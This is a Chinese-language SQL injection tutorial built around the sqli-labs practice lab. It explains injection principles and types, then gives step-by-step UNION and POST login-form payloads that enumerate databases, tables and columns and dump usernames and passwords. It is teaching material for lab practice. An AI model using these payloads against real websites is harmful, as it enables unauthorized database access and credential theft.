SQL注入（原理、分类、union、POST注入）

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

SQL注入简介

SQL注入原理

SQL注入类型

MySQL与SQL注入的相关知识

information_schema

数据库的结构

数据库查询语句

limit的用法

需要记住的几个函数

注释符号

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

注入类型判断

整型参数的判断

UNION注入

union联合查询

union联合注入思路

靶场解析

靶场练习

POST注入

靶场解析

本文所使用的sql注入靶场为sqli-labs-master，靶场资源文件已上传，如有需要请前往主页或以下链接下载

信安必备靶场-sqli-labs-master-用于练习sql注入各种注入类型资源-CSDN文库

【学习目标、重难点知识】

【学习目标】

  1. SQL注入简介
  1. SQL注入类型
  1. SQL注入探测的基本方法
  1. union注入
  1. POST注入

【重难点知识】

  1. 注入的原理
  1. union注入
  1. POST注入

SQL注入简介

在OWASP发布的top10排行榜中SQL注入漏洞一直是危害排名极高的漏洞，数据库注入一直是web中一个令人头疼的问题。

一个严重的SQL注入漏洞，可能会直接导致一家公司破产！

这并不是戏言，其实SQL注入漏洞最主要的形成原因是在进行数据交互中，当前端的数据传入后端进行处理时，由于没有做严格的判断，导致其传入的“数据”在拼接到SQL语句中之后，由于其特殊性，被当作SQL语句的一部分被执行，从而导致数据库受损（被脱库、被删除、甚至整个服务器权限沦陷）。

SQL注入是一种非常常见的数据库攻击手段，SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情，这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说，就是数据做了代码才能干的事情。

这个问题的来源是，SQL数据库的操作是通过SQL语句来执行的，而无论是执行代码还是数据项都必须写在SQL语句之中，这就导致如果我们在数据项中加入了某些SQL语句关键字（比如说SELECT、DROP等等），这些关键字就很可能在数据库写入或读取数据时得到执行。

SQL注入原理

SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断，前端传入的参数是攻击者可以控制，并且参数带入数据库的查询，攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。

举例说明：

$id=$_GET['id']
select asdas #
#
--+    
$sql= SELECT * FROM users WHERE id=8 union select 1,2,3LIMIT 0,1

index.php?id=8 union select 1,2,3

SQL注入漏洞产生的条件：

  • 参数用户可控：前端传入的参数内容由用户控制
  • 参数带入数据库的查询：传入的参数拼接到SQL语句，并且带入数据库的查询

借助靶场演示

SQL注入类型

按注入点类型分：

  • 数字
  • 字符
  • 搜索
  • xx型（ ')、") 等 ）

按提交方式分：

  • GET
  • POST
  • HEAD
  • COOKIE

按执行效果来分：

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的注入
  • 单引号
  • 双引号
  • 数字
  • 联合查询注入

总的来说有：联合注入、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等

MySQL与SQL注入的相关知识

information_schema

  • 在MySQL5.0版本后，MySQL默认在数据库中存放一个“information_schema”的数据库，在该库中，我们需要记住三个表名，分别是schemata，tables，columns。
  • schemata表存储的是该用户创建的所有数据库的库名，需要记住该表中记录数据库名的字段名为schema_name。
  • tables表存储该用户创建的所有数据库的库名和表名，要记住该表中记录数据库库名和表名的字段分别是table_schema和table_name.
  • columns表存储该用户创建的所有数据库的库名、表名、字段名，要记住该表中记录数据库库名、表名、字段名为table_schema、table_name、columns_name。
schemata表：存放了所有的库名，存放在schema_nametables表：存放了所有的库名以及对应的表名||			||table_schema=database()	table_namecolumns：库名	 =>	   表名	  =>	字段名||		      ||		 	 ||table_schema  table_name	column_name

查找所有的库名：

select schema_name from information_schema.SCHEMATA;

查找指定库中所有的表名：security

select table_name from information_schema.tables where table_schema="security";

查找指定库中的指定表中的字段：security=>users

select column_name from information_schema.columns where table_schema="security" and table_name="users";

面经

mysql5.0上下有什么区别？

数据库的结构

  • 数据库（database）：按照数据结构来组织、存储和管理数据的仓库多个数据表的集
  • 数据表（table）：以矩阵方式存储数据，在操作界面中以表格形式展现
  • 列(column): 具有相同数据类型的数据的集合
  • 行(row): 每一行用来描述某条记录的具体信息
  • 值(value): 行的具体信息, 每个值必须与该列的数据类型相同
  • 表头(header): 每一列的名称
  • 键(key): 键的值在当前列中具有唯一性。

数据库查询语句

想要查询的值A= select 所属字段名A from 所属表名 where 对应字段名B=值B

limit的用法

limit的使用格式是limit m,n,其中m指的是记录开始的位置，从m=0开始，表示第一条记录；n是指取几条记录。

需要记住的几个函数

  • version()；当前mysql的版本
  • database();当前网站使用的数据库
  • user();当前MySQL的用户
  • group_concat()：它的作用是将某一列的多个值合并成一个字符串，并用逗号分隔
  • substr()：截取字符串
  • ascii(a)：把字符转换成ascii码
  • updatexml()

注释符号

  • #
  • -- a 空格可以使用+代替 （url编码%23表示注释）
  • /**/
  • /*!*/ 内联注释

SQL注入探测方法

SQL注入漏洞攻击流程

探测方法

一般来说，SQL注入一般存在于形如：http://xxx.xxx.xxx/abc.php?id=XX等带有参数的php动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库，那么就有可能存在SQL注入。如果php程序员没有安全意识，没有进行必要的字符过滤，存在SQL注入的可能性就非常大。

注入类型判断

为了把问题说明清楚，以下以http://xxx.xxx.xxx/abc.php?ip=YY为例进行分析，YY可能是整型，也有可能是字符串。

整型参数的判断

当输入的参数YY为整型时，通常abc.php中SQL语句大致如下：

select * from 表名 where 字段=YY

所以可以用以下步骤测试SQL注入是否存在。

1.在URL链接中附加一个单引号，即http://xxx.xxx.xxx/abc.php?p=YY'，此时abc.php中的SQL语句变成了:
​	select * from 表名 where 字段=YY' limit 2,4			//测试结果为abc.php运行异常2.在URL链接中附加字符串and 1=1即 http://xxx.xxx.xxx/abc.php?p=YY and 1=1
​	select * from 表名 where 字段=YY and 1=1 limit 2,4
​	测试结果为abc.php运行正常，而且与http://xxx.xxx.xxx/abc.php?p=YY运行结果相同；3.在URL链接中附加字符串and 1=2即http://xxx.xxx.xxx/abc.php?p=YY and 1=2
​	select * from 表名 where 字段=YY and 1=2 limit 2,4
​	测试结果为abc.php运行异常。
//如果以上三种情况全部满足，abc.php中一定存在数字SQL注入漏洞。如果说上面判断不成立4. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s		//判断是否为字符型
​	select * from 表名 where 字段='YY' and 1=2 -- s ' limit 2,45. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s	//结果返回正常
​	select * from 表名 where 字段='YY' and 1=1 -- s limit 2,46. 在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s	//结果返回异常
​	select * from 表名 where 字段='YY' and 1=2 -- s limit 2,4则通过4，5，6判断出为字符型

UNION注入

union注入的方式有很多，如：get,post,head,cookie 等等

union联合查询

union联合、合并：将多条查询语句的结果合并成一个结果，union 注入攻击为一种手工测试。

union联合注入思路

判断注入点

http://sqli21/Pass-01/index.php?id='1" and 1=2 -- a'			and两边都为真，所以整体为真，返回结果正常
http://sqli21/Pass-01/index.php?id=1 and 1=2			and一边为假，所以整体为假，返回结果异常

判断出字段数量

order by //排序
http://sqli21/Pass-01/index.php?id=1 order by 3		//判断字段数量，返回正常，说明至少存在3个字段http://sqli21/Pass-01/index.php?id=1 order by n		//返回异常，说明肯定不存在n列

union联合查询，判断回显点

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,3

爆数据

http://sqli21/Pass-01/index.php?id=-1 union select 1,user(),database()
user()
database()
version()

爆出所有的库名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

爆出security库中所有的表名

http://sqli21/Pass-01/index.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

爆出security库中users表中所有的字段

http://sqli21/Pass-01/index.php?id=-1 union
select 1,2,
group_concat(column_name) 
from 
information_schema.columns
where
table_schema="security"
and
table_name="users" -- a

查找所有账号和密码

http://sqli21/Pass-01/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users

靶场解析

靶场搭建

小皮搭建sqli-labs-master靶场
sql-connections/db-creds.inc中修改数据库账户密码

靶场练习

配置SQLI- labs需PHP版本为5.x，数据库会重置。

SQLI- labs：

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

Less-3 GET - Error based - Single quotes with twist - string

Less-4 GET - Error based - Double quotes - string

POST注入

post注入思路和get显错位注入思路一致

只是请求的方法从get变为了post

基本思路如下：

判断是否可以注入

admin' and 1=1 #		//返回正常，登录成功
admin' and 1=2 #		//登录失败
说明and被带入到数据库中执行了，进而证明存在sql注入

判断字段数 =》 order by

admin' order by 3

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

得到字段名 =》 information_schema.columns

获取flag

靶场解析

http://sqli21/Pass-05

判断闭合方式
&username=admin' #判断字段
&username=admi' order by 3 #判断回显位置
&username=admi' union select 1,2,3 #获取数据
&username=admi' union select 1,database(),user() #

http://sqli21/Pass-06

username=admi") union select 1,database(),user() #

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/402916.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

ssh免密码登陆设置时Authentication refused: bad ownership or modes错误解决方法

ssh免密码登陆设置时Authentication refused: bad ownership or modes错误解决方法

0.环境： 三个节点：node1,node2,node3 1.问题描述： 配置好免密登录后，免密登录失效，还需要输入密码，如下图： 2.原因查找： 去查看系统的日志文件 使用命令： sudo tail …
阅读更多...
基于Java语言的光伏监控系统+光伏项目+光伏储能+光伏运维系统

基于Java语言的光伏监控系统+光伏项目+光伏储能+光伏运维系统

介绍 基于Java语言的光伏监控系统光伏发电系统光伏软件系统光伏监控系统源码光伏发电系统源码 软件架构 部分软件截图
阅读更多...
Tmagic-editor低代码底层拖拽库Moveable示例学习

Tmagic-editor低代码底层拖拽库Moveable示例学习

在前面咱们的自研低代码海报制作平台学习分享计划中分享了自己开发的基本拖拽组件，也只是做了最简单的基本实现。真要写产品，更多还是依赖相关的开源优秀库。 文章目录 参考基本拖拽基本缩放基本Scalable基本旋转基于原点的拖拽和旋转关于练习源码 参考 …
阅读更多...
TCP详解（二）滑动窗口/流量控制

TCP详解（二）滑动窗口/流量控制

本文解释了TCP为何能保证数据传输的可靠性，以及如何保证整个网络的顺畅。 1 网络分层模型 这是一切的本质。网络被设计成分层的，所以网络的操作就可以称作一个“栈”，这就是网络协议栈的名称的由来。在具体的操作上，数据包最终形…
阅读更多...
20. OTA流程 - 2

20. OTA流程 - 2

1. 概述 BES蓝牙方案自带OTA功能，支持SPP和BLE。 建议采用BLE的功能，因为苹果手机默认不支持SPP。 2. OTA框架 OTA时，耳机端需要先进入OTA状态 2.1 SPP升级
阅读更多...
Nginx--代理与负载均衡（扩展nginx配置7层协议及4层协议方法、会话保持）

Nginx--代理与负载均衡（扩展nginx配置7层协议及4层协议方法、会话保持）

前言：本博客仅作记录学习使用，部分图片出自网络，如有侵犯您的权益，请联系删除 一、代理原理 1、反向代理产生的背景 单个服务器的处理客户端（用户）请求能力有一个极限，当接入请求过多时&#…
阅读更多...
【网络安全】SSO登录过程实现账户接管

【网络安全】SSO登录过程实现账户接管

未经许可，不得转载。 文章目录 正文正文 登录页面展示了“使用 SSO 登录”功能： 经分析，单点登录（SSO）系统的身份验证过程如下： 1、启动SSO流程：当用户点击按钮时，浏览器会发送一个GET请求到指定的URL： /idp/auth/mid-oidc?req=[UNIQUE_ID]&redirect_uri=[REDI…
阅读更多...
Leetcode JAVA刷刷站（41）缺失的第一个正数

Leetcode JAVA刷刷站（41）缺失的第一个正数

一、题目概述 二、思路方向 为了找到未排序整数数组中未出现的最小正整数，并满足时间复杂度为 O(n) 和只使用常数级别额外空间的要求，我们可以采用原地哈希（也称为索引哈希）的方法。这个方法的基本思想是将每个数字（如…
阅读更多...
[C++进阶]二叉树进阶的一些面试题(一)

[C++进阶]二叉树进阶的一些面试题(一)

首先我们先回忆我们过去学的二叉树和最近学的二叉搜索树,来完成下面的题目: 606. 根据二叉树创建字符串 这道题属于与基础题,首先我们观察输入输出样例可以得到如果root->left为空,root->right不为空时,我们的空格仍然需要保留,如果当前节点有两个孩子，那我…
阅读更多...
人工智能在肿瘤亚型分类领域的研究进展｜顶刊速递·24-08-13

人工智能在肿瘤亚型分类领域的研究进展｜顶刊速递·24-08-13

小罗碎碎念 文献日推主题：人工智能在肿瘤亚型分类领域的研究进展 昨天晚上在研究鼻咽癌的病理学诊断指南，看到了下面这段话的时候，我问了自己一个问题——通过AI识别出肿瘤亚型的根本目的是什么？可以衔接哪些具体的下游任务&#…
阅读更多...
TinyEngine是什么？

TinyEngine是什么？

TinyEngine 是 OpenTiny 项目下的一个开源低代码引擎，旨在帮助开发者快速构建应用程序。它提供了可视化搭建页面的能力，支持在线实时构建和二次开发或集成，适用于多种场景的低代码平台开发，例如资源编排、服务端渲染、模型驱动、移…
阅读更多...
拉取/启动kafka的docker镜像

拉取/启动kafka的docker镜像

拉取/启动kafka的docker镜像 1、拉取kafka镜像2、移除docker镜像(演示)3、查看镜像是否拉取成功4、通过docker启动kafka容器5、查看是否有启动的容器 1、拉取kafka镜像 因为一些原因，无法从dockerhub直接拉取kafka的docker镜像，我将原来拉到kafka3.7.0的…
阅读更多...
后端开发刷题 | 寻找峰值【二分法】

后端开发刷题 | 寻找峰值【二分法】

描述 给定一个长度为n的数组nums，请你找到峰值并返回其索引。数组可能包含多个峰值，在这种情况下，返回任何一个所在位置即可。 1.峰值元素是指其值严格大于左右相邻值的元素。严格大于即不能有等于 2.假设 nums[-1] nums[n] −∞ 3.对于…
阅读更多...
MQ死信对列

MQ死信对列

面试题：你们是如何保证消息不丢失的？ 1、什么是死信 死信就是消息在特定场景下的一种表现形式，这些场景包括： 1. 消息被拒绝访问，即消费者返回 basicNack 的信号时 或者拒绝basicReject 2. 消费者发生异常&#xff0…
阅读更多...
保存数据至后台表

保存数据至后台表

保存数据至后台表-供大数据平台使用-JOB程序 *&---------------------------------------------------------------------* *&程序名称 ：ZBD_JOB_001 *&程序描述 : 保存数据至后台表-供大数据平台使用-JOB程序 *…
阅读更多...
数据结构：线性结构之顺序表、链表篇

数据结构：线性结构之顺序表、链表篇

数据结构：顺序表、链表篇 线性表一、顺序表（一）顺序表的结构定义（二）顺序表的功能实现1、初始化2、销毁3、扩容4、插入5、删除 （三）顺序表例题分析1、删除有序数组中的重复项2、合并两个有序数组…
阅读更多...
大数据技术——DolphinScheduler的集群部署

大数据技术——DolphinScheduler的集群部署

目录 第1章 DolphinScheduler简介 1.1 DolphinScheduler概述 1.2 DolphinScheduler核心架构 第2章 DolphinScheduler部署说明 2.1 软硬件环境要求 2.1.1 操作系统版本要求 2.1.2 服务器硬件要求 2.2 部署模式 2.2.1 单机模式 2.2.2 伪集群模式 2.2.3 集群模式 第3章…
阅读更多...
进程间通信—无名管道

进程间通信—无名管道

gg shiftg快速对齐 加锁顺序问题时，如果解锁了，两个同时申请抢锁，谁抢到了运行谁，循环迭代时释放锁也是同时申请锁，循环部分如果没抢到锁就进入循环等待 总结: IPC 进程间通信 interprocess communicate //signal…
阅读更多...
免费简单的制作3D卡通建模——Fuse软件和Readyplayer的使用介绍

免费简单的制作3D卡通建模——Fuse软件和Readyplayer的使用介绍

最终效果 文章目录 最终效果一、使用Fuse软件去Steam下载安装捏人选择身体部位自定义人物细节参数换装贴图修改导出OBJ文件即可 二、使用ReadyplayerReadyplayer官网地址选择从模板开始，或者拍照选择图片进行捏脸将模型导入Unity通过Readyplayer官方插件导入模型通过…
阅读更多...
UI设计：蒸汽波风格页面有啥特征，应用哪些场景？

UI设计：蒸汽波风格页面有啥特征，应用哪些场景？

一、什么是蒸汽波风格 蒸汽波风格（Steampunk）是一种将19世纪工业时代的技术和想象力与未来科技相结合的艺术和文化流派。它通常描绘了一个类似维多利亚时代的世界，其中蒸汽动力是主要能源，机械装置和复杂的齿轮系统被广泛应用。 …
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023